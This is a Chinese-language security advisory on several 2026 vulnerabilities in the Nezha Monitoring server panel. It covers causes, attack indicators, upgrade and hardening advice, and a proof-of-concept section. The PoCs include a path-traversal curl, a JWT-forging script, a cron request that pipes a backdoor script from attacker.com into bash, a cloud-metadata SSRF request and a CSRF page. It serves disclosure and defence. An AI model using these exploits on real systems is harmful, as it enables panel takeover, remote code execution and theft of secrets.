哪吒探针(Nezha Monitoring)多高危漏洞深度技术分析
预警等级:紧急|建议所有用户立即升级至 v2.0.13+
一、概述
2026年5月至6月,开源服务器监控工具哪吒探针(Nezha Monitoring) 被集中披露了多个高危安全漏洞,涵盖未授权路径穿越、跨租户远程代码执行、服务端请求伪造(SSRF)、信息泄露、数据伪造等多种类型。其中编号 CVE-2026-53519 的漏洞CVSS评分高达 9.1(高危) ,攻击者无需任何认证,仅需发送2次GET请求即可完全接管面板。
更令人警惕的是,CVE-2026-46716 的CVSS评分达到 9.9(严重) ,允许低权限用户在所有被监控服务器上执行任意系统命令。据安全厂商披露,上述漏洞组合已被黑客组织武器化,大量服务器被植入后门、挖矿木马和DDoS攻击工具。
所有漏洞均影响 v2.0.13 以下版本,官方已于2026年5月25日发布 v2.0.13 修复。
二、漏洞详情
2.1 CVE-2026-53519:未授权路径穿越(Path Traversal)
CVSS评分:9.1(高危)
漏洞成因
哪吒面板的 NoRoute 处理器在处理未知路由时,会尝试将请求当作前端静态资源处理。问题在于,判断逻辑使用了 strings.HasPrefix(简单子字符串前缀匹配) 而非严格的路径段匹配。
核心代码逻辑如下:
1. fallbackToFrontend 将任何以 "/dashboard" 开头的 URL 视为前端资源请求
2. 使用 strings.HasPrefix 检查,而非路径段匹配
3. 输入 "/dashboard../data/config.yaml" 被接受
4. strings.TrimPrefix 处理后得到 "../data/config.yaml"
5. path.Join("admin-dist", "../data/config.yaml") 归一化为 "data/config.yaml"
6. os.Stat 找到该文件,http.ServeFile 直接返回
攻击路径
第一步:读取配置文件
攻击者构造如下GET请求:
GET /dashboard../data/config.yaml
该请求可无需任何身份验证直接读取面板的核心配置文件 config.yaml,其中明文存储着:
-
完整数据库连接信息
-
管理员账号与哈希密码
-
JWT 密钥(
jwt_secret_key) -
OAuth2 凭证
-
服务器列表
第二步:伪造管理员身份
获取 JWT 密钥后,攻击者利用 HS256 对称加密算法伪造管理员的 JWT Cookie。只需知道管理员 ID(通常可从配置文件或公开信息中获取),即可生成合法令牌。
第三步:完全接管
携带伪造的 Cookie 访问面板,攻击者即获得最高管理员权限,可完全控制面板及所有被监控的服务器。
技术影响
-
无需任何认证,完全未授权访问
-
无需用户交互,攻击完全自动化
-
2次GET请求即可完成整个攻击链
-
可读取服务器上任意文件(不限于配置文件)
2.2 CVE-2026-46716:跨租户远程代码执行(Cross-Tenant RCE)
CVSS评分:9.9(严重)
漏洞成因
哪吒面板支持两种用户角色:RoleAdmin(管理员,Role==0)和 RoleMember(普通成员,Role==1)。计划任务(Cron)相关的路由被错误地挂载到了 commonHandler(仅需JWT认证,任何角色均可访问),而非 adminHandler(需管理员权限)。
受影响端点包括:
-
POST /api/v1/cron -
PATCH /api/v1/cron/:id -
GET /api/v1/cron/:id/manual -
POST /batch-delete/cron
攻击路径
-
攻击者以
RoleMember身份登录(包括通过OAuth2自注册的用户) -
创建计划任务时设置
Cover=CronCoverAll、Servers=[],并填入任意系统命令 -
调度器每次触发时,该命令被推送到全局
ServerShared映射中的所有服务器——包括其他租户(管理员及其他成员)的服务器 -
每台Agent执行命令后将结果返回,通过攻击者控制的 NotificationGroup 发送到攻击者指定的Webhook
技术影响
-
任何拥有
RoleMember权限的用户均可触发(包括OAuth2自注册用户) -
跨租户影响:可控制部署中所有被监控主机
-
可用于植入后门、挖矿木马、DDoS攻击工具等
2.3 CVE-2026-46717:服务端请求伪造(SSRF)with 响应体反射
CVSS评分:高危
漏洞成因
通知(Notification)相关路由 POST /api/v1/notification 和 PATCH /api/v1/notification/:id 同样被挂载到 commonHandler,允许 RoleMember 用户调用。
这些处理器会同步向用户控制的URL发起HTTP请求,并在非2xx响应时将完整的响应体(无大小限制) 直接返回给调用者。
攻击路径
-
攻击者以
RoleMember身份登录 -
创建或修改通知配置,将
webhook_url设置为内网目标地址(如http://169.254.169.254/latest/meta-data/) -
面板服务器向该内网地址发起请求
-
完整的响应内容被反射回攻击者
技术影响
-
低权限用户即可触发
-
可探测内网拓扑和开放服务
-
可读取云厂商元数据服务(如AWS、阿里云等)
-
响应体无大小限制,可泄露大量数据
2.4 CVE-2026-47124:WebSocket 跨租户遥测数据泄露
CVSS评分:中高危
漏洞成因
面板的 server-status WebSocket 在认证时存在缺陷:任何已认证用户(包括普通 RoleMember)连接后,即可接收所有服务器的遥测数据,而常规的服务器列表API会通过 HasPermission 进行权限过滤。
攻击路径
-
攻击者以任意有效账号登录
-
连接到
/server-statusWebSocket -
实时接收所有服务器的监控数据流
技术影响
-
任何登录用户均可访问
-
泄露其他用户的服务器信息(IP、负载、网络流量等)
-
可进行资产测绘和攻击目标筛选
2.5 CVE-2026-48119:Agent 数据伪造(Service Monitor Result Forgery)
漏洞成因
面板接收 service-monitorTaskResult 消息时,仅验证了上报的服务ID是否存在,未验证上报的Agent是否被分配了该监控任务、是否属于该服务所有者。
攻击路径
-
攻击者拥有一个有效的Agent密钥和一台已注册的Agent
-
向面板提交伪造的监控结果,指定其他用户的服务ID
技术影响
-
跨租户数据污染:可篡改其他用户的监控历史和当前状态
-
可触发受害者服务的误报告警
-
干扰运维决策
2.6 CVE-2026-49396:跨站请求伪造(CSRF)触发计划任务
漏洞成因
面板将计划任务的手动触发接口设计为 GET /api/v1/cron/:id/manual,且无CSRF Token、无Origin验证、无fetch-metadata防护。
攻击路径
-
攻击者构造恶意网页或链接
-
诱使已登录面板的管理员点击
-
受害者的浏览器自动发起GET请求,触发任意已有的计划任务
技术影响
-
可利用已存在的高权限计划任务执行恶意命令
-
无需攻击者拥有任何账号权限
-
结合CVE-2026-46716可形成完整的攻击链
2.7 CVE-2026-49397:私有服务信息泄露
漏洞成因
EnableShowInService: false 本应隐藏服务使其不出现在公开面板中。但以下两个接口未遵循该过滤逻辑:
-
GET /api/v1/server/:id/service:返回所有服务(包括隐藏服务) -
GET /api/v1/service/:id/history:直接返回服务信息
这两个接口挂载在 optionalAuth 组下,未认证的访客也可访问。
攻击路径
攻击者通过线性扫描小范围数字ID即可枚举所有隐藏服务。
技术影响
-
无需任何认证
-
泄露本应隐藏的服务名称和运行数据
-
破坏隐私保护意图
三、真实攻击案例
据安全社区披露,已有大量哪吒探针用户遭到攻击:
-
受影响范围:面板连接的所有Agent机器被植入
gary@garySSH后门公钥 -
攻击后果:多台服务器被部署挖矿程序、持久化木马,或被用于发起DDoS攻击
-
攻击特征:同一把SSH公钥
gary@gary出现在大量受害服务器上
“攻击者能够直接在管理面板对服务器执行任何shell命令,所以被攻击者利用来安装木马攻击程序和挖矿程序,许多服务器由于长时间的CPU过载和攻击被服务商封禁。”
四、漏洞根因总结
分析上述漏洞,可归纳出以下共性问题:
| 根因类别 | 对应漏洞 | 问题描述 |
|---|---|---|
| 权限校验错误 | CVE-2026-46716、CVE-2026-46717 | 将敏感API挂在 commonHandler 而非 adminHandler |
| 输入校验不足 | CVE-2026-53519 | 使用 strings.HasPrefix 而非路径段匹配 |
| 权限过滤缺失 | CVE-2026-47124、CVE-2026-48119、CVE-2026-49397 | 未对数据访问进行租户/所有者隔离 |
| CSRF防护缺失 | CVE-2026-49396 | 状态变更操作使用GET方法且无CSRF Token |
五、修复与防御措施
5.1 立即升级(强烈推荐)
升级到 v2.0.13 或更高版本是修复所有已知漏洞最根本、最有效的方法。
# 根据官方文档升级面板 # 具体升级命令请参考哪吒官方 GitHub Release 页面
5.2 临时缓解措施
如无法立即升级:
-
通过防火墙或反向代理严格限制面板管理页面的访问,仅允许可信IP
-
将面板部署在内网,不直接暴露于公网
-
配置 IP 白名单,阻断外部恶意攻击
5.3 安全加固建议
-
修改默认密码:V1版本默认使用弱口令
admin/admin,务必立即修改 -
限制Agent权限:在Agent配置文件(
/opt/nezha/config.yml)中:-
设置
disable_command_execute: true(禁止远程命令执行) -
设置
disable_auto_update: true(禁止自动更新)
-
-
启用自动更新:确保始终使用最新版本
-
安全自查:升级后检查是否存在异常管理员账号、异常SSH密钥(特别是
gary@gary)及异常计划任务
## 七、漏洞复现(PoC)
> **⚠️ 重要声明**:以下复现内容仅供安全研究和授权测试使用。未经授权利用漏洞攻击他人系统属于违法行为,请严格遵守法律法规。
### 7.1 CVE-2026-53519:未授权路径穿越
**漏洞原理**:哪吒面板的`NoRoute`处理器使用`strings.HasPrefix`判断URL是否以`/dashboard`开头,而非严格的路径段匹配。攻击者可通过`/dashboard../`绕过前缀检查实现目录遍历。
**复现步骤**:
**第一步:读取配置文件**
```bash
# 构造路径穿越请求,读取 config.yaml
curl -v "http://<面板IP>:<端口>/dashboard../data/config.yaml"
```
成功执行后,服务器将返回`config.yaml`文件内容,其中包含:
- `jwt_secret_key`:JWT签名密钥
- 数据库连接信息
- 管理员账号信息
- OAuth2凭证
- 服务器列表
**第二步:伪造JWT令牌**
获取`jwt_secret_key`后,使用HS256算法伪造管理员JWT:
```python
import jwt
import time
secret = "从config.yaml中获取的jwt_secret_key"
admin_id = 1 # 管理员ID通常为1
payload = {
"id": admin_id,
"role": 0, # 0 代表管理员
"exp": int(time.time()) + 86400 # 24小时有效期
}
token = jwt.encode(payload, secret, algorithm="HS256")
print(f"伪造的JWT: {token}")
```
**第三步:接管面板**
将伪造的JWT设置为Cookie(Cookie名称为`nz-jwt`),即可无需密码以管理员身份登录面板。
**完整攻击链**:仅需**2次GET请求**即可完成从信息窃取到完全接管的全过程。
### 7.2 CVE-2026-46716:跨租户远程代码执行(RCE)
**漏洞原理**:计划任务(Cron)相关API被错误地挂载到`commonHandler`(仅需JWT认证),而非`adminHandler`(需管理员权限)。低权限的`RoleMember`用户可创建覆盖所有服务器的计划任务。
**复现步骤**:
**前提条件**:拥有一个`RoleMember`账号(包括通过OAuth2自注册的用户)
**第一步:创建恶意计划任务**
```bash
# 以RoleMember身份登录后,创建计划任务
curl -X POST "http://<面板IP>:<端口>/api/v1/cron" \
-H "Cookie: nz-jwt=<RoleMember的JWT>" \
-H "Content-Type: application/json" \
-d '{
"name": "恶意任务",
"command": "curl http://attacker.com/backdoor.sh | bash",
"schedule": "@every 1m",
"cover": 2,
"servers": [],
"notification_group_id": <攻击者控制的通知组ID>
}'
```
参数说明:
- `cover: 2` 对应 `CronCoverAll`,表示覆盖所有服务器
- `servers: []` 空列表表示不限制特定服务器
- 命令将在**所有被监控服务器**上执行
**第二步:等待或触发执行**
任务会在调度器每次触发时执行,命令被推送到全局`ServerShared`映射中的所有服务器,包括其他租户的服务器。
**影响**:任何`RoleMember`用户均可获得**跨租户RCE**能力,在部署中的所有被监控主机上执行任意命令。
### 7.3 CVE-2026-46717:服务端请求伪造(SSRF)with 响应体反射
**漏洞原理**:通知(Notification)API被挂载到`commonHandler`,允许`RoleMember`用户调用。面板会向用户控制的URL发起HTTP请求,并将完整响应体返回给调用者。
**复现步骤**:
**前提条件**:拥有一个`RoleMember`账号
**创建恶意通知配置**:
```bash
# 利用通知功能发起SSRF请求
curl -X POST "http://<面板IP>:<端口>/api/v1/notification" \
-H "Cookie: nz-jwt=<RoleMember的JWT>" \
-H "Content-Type: application/json" \
-d '{
"name": "SSRF测试",
"webhook_url": "http://169.254.169.254/latest/meta-data/",
"template": "test"
}'
```
**可探测的目标包括**:
- 云厂商元数据服务(`169.254.169.254`)
- 内网HTTP服务
- 内网其他面板/管理接口
- 任意可达的HTTP端点
**关键点**:响应体**无大小限制**,完整返回给攻击者。
### 7.4 CVE-2026-47124:WebSocket 跨租户遥测数据泄露
**漏洞原理**:`/server-status` WebSocket在认证时仅验证用户是否已登录,未进行权限过滤。任何认证用户均可接收所有服务器的遥测数据。
**复现步骤**:
**前提条件**:拥有任一有效账号(包括`RoleMember`)
**连接WebSocket获取所有服务器数据**:
```javascript
// 浏览器控制台或Node.js环境
const ws = new WebSocket("ws://<面板IP>:<端口>/server-status");
// 发送认证信息(具体格式取决于实现)
ws.onopen = function() {
ws.send(JSON.stringify({
token: "<任意有效JWT>"
}));
};
ws.onmessage = function(event) {
console.log("收到遥测数据:", JSON.parse(event.data));
// 将收到所有服务器的监控数据,包括其他用户的服务器
};
```
**泄露的数据包括**:
- 服务器IP地址
- CPU/内存/磁盘使用率
- 网络流量
- 服务状态
### 7.5 CVE-2026-48119:Agent 数据伪造
**漏洞原理**:面板接收`service-monitorTaskResult`消息时,仅验证服务ID是否存在,未验证上报的Agent是否有权提交该服务的监控结果。
**复现步骤**:
**前提条件**:拥有一个有效的Agent密钥和一台已注册的Agent
**构造伪造的监控结果**:
```python
# 伪代码示例 - 需根据实际gRPC协议实现
import grpc
# 连接到面板的gRPC服务
channel = grpc.insecure_channel('<面板IP>:<gRPC端口>')
# 使用Agent密钥认证
# 提交伪造的监控结果,指定其他用户的服务ID
伪造消息 = {
"service_id": <受害者服务ID>,
"result": "伪造的监控数据",
"status": "down" # 可伪造服务宕机
}
# 发送消息
```
**影响**:
- 篡改其他用户的监控历史和当前状态
- 触发受害者的误报告警
- 干扰运维决策
### 7.6 CVE-2026-49396:跨站请求伪造(CSRF)触发计划任务
**漏洞原理**:计划任务手动触发接口使用`GET`方法(应为`POST`),且无CSRF Token、无Origin验证。JWT Cookie配置为`SameSite=Lax`,在顶级跨站GET请求中仍会被浏览器发送。
**复现步骤**:
**攻击者构造恶意页面**:
```html
<!-- attacker.com/exploit.html -->
<!DOCTYPE html>
<html>
<body>
<!-- 方式1:图片标签自动加载 -->
<img src="http://<面板IP>:<端口>/api/v1/cron/1/manual" style="display:none">
<!-- 方式2:诱使用户点击链接 -->
<a href="http://<面板IP>:<端口>/api/v1/cron/1/manual">
点击领取福利
</a>
</body>
</html>
```
**攻击流程**:
1. 攻击者需知道或猜测目标计划任务的ID(数字ID,可遍历)
2. 诱使已登录面板的管理员访问恶意页面
3. 管理员浏览器自动发起GET请求,携带`nz-jwt` Cookie
4. 计划任务被触发执行
**限制**:攻击者无法创建或修改计划任务命令,但可强制执行已存在的任务。
### 7.7 CVE-2026-49397:私有服务信息泄露
**漏洞原理**:`EnableShowInService: false`本应隐藏服务,但以下两个接口未遵循该过滤逻辑,且挂载在`optionalAuth`组下,**未认证访客**也可访问:
- `GET /api/v1/server/:id/service`:返回所有服务(包括隐藏服务)
- `GET /api/v1/service/:id/history`:直接返回服务信息
**复现步骤**:
**无需任何认证**,直接访问:
```bash
# 枚举服务器上的所有服务(包括隐藏服务)
curl "http://<面板IP>:<端口>/api/v1/server/1/service"
# 遍历server_id: 1, 2, 3, ...
# 直接获取特定服务的历史数据
curl "http://<面板IP>:<端口>/api/v1/service/1/history"
# 遍历service_id: 1, 2, 3, ...
```
泄露的信息:
- 隐藏服务的名称和存在性
- 服务延迟/响应时间数据
- 足以推断业务活动模式、宕机窗口和后端拓扑
八、漏洞利用链总结
上述7个漏洞可组合形成完整的攻击链:
| 阶段 | 利用漏洞 | 攻击动作 |
|------|---------|---------|
| 侦察 | CVE-2026-49397 | 未认证枚举隐藏服务信息 |
| 权限获取 | CVE-2026-53519 | 读取config.yaml获取JWT密钥,伪造管理员身份 |
| 横向移动 | CVE-2026-47124 | 利用WebSocket获取所有服务器信息 |
| 内网探测 | CVE-2026-46717 | SSRF探测内网 |
| 命令执行 | CVE-2026-46716 | 跨租户RCE,在所有服务器执行任意命令 |
| 持久化 | CVE-2026-48119 | 伪造监控数据干扰运维 |
| 钓鱼利用 | CVE-2026-49396 | CSRF诱使管理员触发恶意任务 |
这一组合使得攻击者可以从零权限开始,逐步完成对整套监控系统和所有被监控服务器的完全控制。
⚠️ 再次声明:本文所有漏洞复现内容仅供安全研究和防御参考。未经授权利用上述漏洞攻击他人系统